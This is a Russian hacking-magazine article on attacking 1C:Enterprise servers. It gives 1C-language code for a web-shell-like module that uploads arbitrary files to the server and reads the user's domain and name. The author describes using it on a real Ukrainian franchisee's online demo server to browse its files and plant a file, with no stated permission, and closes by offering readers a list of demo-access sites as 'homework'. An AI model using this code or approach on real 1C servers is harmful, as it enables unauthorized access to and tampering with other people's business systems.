Содержание статьи
Один из IT-трендов этого сезона — предоставление услуг типа «1С в облаке» или «онлайн-доступ к демоконфигурациям». У администраторов таких сервисов двойная нагрузка — обеспечить безопасность самого сервера и системы «1С:Предприятие». Инструменты для этого, безусловно, есть, но все ли их знают и используют? Сегодня ты узнаешь, как это проверить.
Введение
На моей памяти было не так много статей о продуктах фирмы «1С» в разрезе безопасности, последнее упоминание ее в журнале датируется мартом 2010 года. Я решил напомнить об этом корпоративном монстре и рассказать о своем небольшом ресерче.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.Знакомство c «1C:Предприятие»
Система программ «1С:Предприятие 8», разработанная на постсоветском пространстве, включает в себя платформу и прикладные решения на ее основе для автоматизации деятельности организаций и частных лиц. Сама платформа не является программным продуктом для конечного пользователя, обычно работают с одним из многих прикладных решений. Встретить эту систему можно далеко не только в офисах Газпрома, но и в парикмахерской или фитнес-центре, которые, я надеюсь, ты регулярно посещаешь.
Архитектура
За отведенное историей время система «1С:Предприятие 8.х» стала полностью клиент-серверной. Даже если ты будешь работать с базой данных, находящейся на локальном диске, программа будет эмулировать вызовы и ответы сервера.
Удаленная же система, соответственно настроенная, позволяет работать даже из веб-браузера.При этом основная часть кода выполняется на сервере.
Хакер #178. Mesh-сети или строим свой интернет
Это открывает новые горизонты как для разработчиков и пользователей, так и для ][-экспертов. С помощью одних и тех же команд возможно выполнять код на стороне клиента и на стороне сервера. Если имя пользователя и содержимое каталогов личного компьютера тебе, возможно, знакомо, наверняка то, что хранится на сервере, тебе гораздо интереснее. При удачном раскладе скрипты и команды системы можно выполнить на стороне сервере, а при доступе к конфигурации информационной базы инициировать их запуск при работе с базой у пользователей. По сути, мы имеем полный аналог веб-приложения. При его запуске необходимо проводить полный комплекс мер по настройке безопасности: ограничивать права учетной записи, под которой работает сервер, права доступа к каталогам, разграничивать права пользователей. Я уверен, что большинство читателей в курсе всех этих аспектов настройки. Однако менталитет администраторов 1С коренным образом отличается от менталитета администраторов веб-серверов. Зачастую ради того, чтобы все заработало, приложению присваивают максимальные привилегии, пользователи работают в базе с полным доступом ко всем функциям. «Это, конечно, на пару дней, не больше...» — думаю, многие сейчас улыбнулись.
Как известно, безопасность учетной системы складывается из многих составляющих. Корректная установка, корректное разграничение прав пользователей при работе, аудит попыток проникновения, аудит попыток некорректных с точки зрения учета действий. В основном юзеры с успехом пользуются правами, которые не должны были получить по логике учетной системы.
Переломный момент
С ростом компьютерной грамотности появляются эксплуатации уязвимостей типа изменений в конфигурации базы данных.
Продвинутые пользователи списывают на счет подставных контрагентов погрешности округления, разности в курсах валют. Это тема также достойна отдельной статьи. Поэтому мы рассмотрим, не вдаваясь в теорию программирования на языке 1С, некоторые функции и команды, способные создать аналог веб-шелла. Многие продавцы 1С предоставляют доступ к демобазам через интернет, так что на сладкое мы побродим по серверу небольшого, но гордого украинского франчайзи.
Предвижу справедливое замечание: взломаешь сайт, например правительства Зимбабве, — получишь почет и уважение мирового сообщества. А полезешь в 1С — получишь на орехи от сисадмина и от службы безопасности родной фирмы.
Не все так печально, мой друг. Не обязательно надевать черную шляпу. Предложи свои услуги в качестве эксперта и будешь прославлен в веках. Уверен, в умах многих руководителей зреет мысль об аудите безопасности торговой системы. И деньги за эту работу они готовы выложить не меньшие, чем за исследование безопасности сайтов и компьютерных сетей.
Немного конфигурирования
Для начала обзаведемся инструментом. Хорошие новости: версии для обучения программированию можно совершенно бесплатно получить на сайте online.1c.ru. Можно загрузить либо платформу, либо полную версию для обучения программированию. В нее входят еще и демонстрационные конфигурации и документация.
Рекомендую скачать, знание 1С еще никому не помешало :). Кстати, по мнению авторов книги «1С:Предприятие 8.2. Практическое пособие разработчика», в 1С не программируют, а конфигурируют. Так что наконфигурируем небольшую обработку. С ее помощью мы сможем исследовать сервер, на котором расположена база данных.
В 1С отличный синтаксис-помощник, в нем можно найти описание всех функций встроенного языка. Скажу сразу, нас интересует раздел «Глобальный контекст».
Хочу сразу обратить твое внимание на директивы препроцессора &НаСервере, &НаКлиенте, которыми начинается описание процедуры или функции. Они определяют место выполнения, по умолчанию система считает, что код будет исполняться на сервере. Процедуры выполнят одно и то же действие, но в случае клиент-серверного варианта работы выполняются на разных компьютерах.
&НаСервере
Процедура псПолучитьКаталогВременныхФайлов()
Результат = КаталогВременныхФайлов();
КонецПроцедуры
&НаКлиенте
Процедура псПолучитьКаталогВременныхФайлов()
Результат = КаталогВременныхФайлов();
КонецПроцедуры
Я уверен, что данный листинг не требует никакого дополнительного объяснения :).
Средствами встроенного языка 1С можно не только работать с файлами, но и запускать приложения, загружать/получать файлы по FTP.
&НаСервере
Процедура псЗагрузитьФайл(АдресВоВременномХранилище, пПолноеИмяФайла)
ДанныеФайла = ПолучитьИзВременногоХранилища(АдресВоВременномХранилище);
ВременныйФайл = КаталогВременныхФайлов() + пПолноеИмяФайла;
ДанныеФайла.Записать(ВременныйФайл);
рфЗагруженныйФайл = ВременныйФайл;
КонецПроцедуры
&НаКлиенте
Процедура кЗагрузитьФайл(Команда)
ДиалогВыбораФайла = Новый ДиалогВыбораФайла(РежимДиалогаВыбораФайла.Открытие);
ДиалогВыбораФайла.Заголовок = "Загрузить файл";
ДиалогВыбораФайла.Фильтр = "Файл (*.*)|*.*|";
Если ДиалогВыбораФайла.Выбрать() Тогда
КаталогЗагружаемогоФайла = ДиалогВыбораФайла.Каталог;
ПолныйПутьКЗагружаемомуФайлу = ДиалогВыбораФайла.ПолноеИмяФайла;
ФайлНаДиске = Новый Файл(ДиалогВыбораФайла.ПолноеИмяФайла);
АдресВоВременномХранилище = "";
ПоместитьФайл(АдресВоВременномХранилище, ДиалогВыбораФайла.ПолноеИмяФайла, , Ложь, УникальныйИдентификатор);
псЗагрузитьФайл(АдресВоВременномХранилище, ФайлНаДиске.Имя);
КонецЕсли;
КонецПроцедуры
Как думаешь, что это? В точку! Мы взяли файл с локального компьютера и загрузили его на сервер. Meterpreter без Metasploit :). Не буду перечислять все полезные функции.
Если вдруг дополнительные возможности — не проблема.
WshNetwork = Новый COMОбъект("WScript.Network");
Результат = "\\"+WshNetwork.UserDomain+"\"+WshNetwork.UserName;
И мы уже узнаем имя пользователя и домен, используя WScript. В итоге мы получаем обработку с нужным нам функционалом.
Проверяем ее на локальном компьютере.
Yammi!
Наберем в поиске «франчайзи 1с демо» и получим десятки предложений онлайн-демонстрации. Сразу предупрежу, в результате исследования ни один франчайзи не пострадал. Тем более что было принято решение оставить в покое отечественного производителя. Зайдем к братьям славянам.
И подключимся к их базе.
Как видно, с помощью нашей несложной обработки можно не только посмотреть, что и как хранится на сервере сопредельного государства,
но и отправить админам короткое послание. Файл успешно перекочевал на сервер. Через 30 секунд файл оказывается в выбранном каталоге. Выгрузить/загрузить/запустить, оказывается, можно все, что угодно. Главное — вовремя взять себя в руки.
ДЕМОПРОДУКТЫ
Посмотреть демки приложений 1C:Предприятия можно на сайте
demo.1c.ru
Заключение
У каждой истории должен быть хеппи-энд. Администраторы сервера получили письмо со скриншотами и достаточно оперативно устранили проблему. Я получил возможность написать эту статью. Тебя ждут впереди увлекательные исследования. Если тема покажется интересной, то наш любимый журнал ждут новые продолжения этой истории.
Пиши, и, возможно, мы вместе пощупаем за мошну саму фирму «1С». С учетом действующего законодательства РФ, безусловно. Вместо домашнего задания — отрывок из списка сайтов, предоставляющих демодоступ к конфигурации «1С:Предприятие».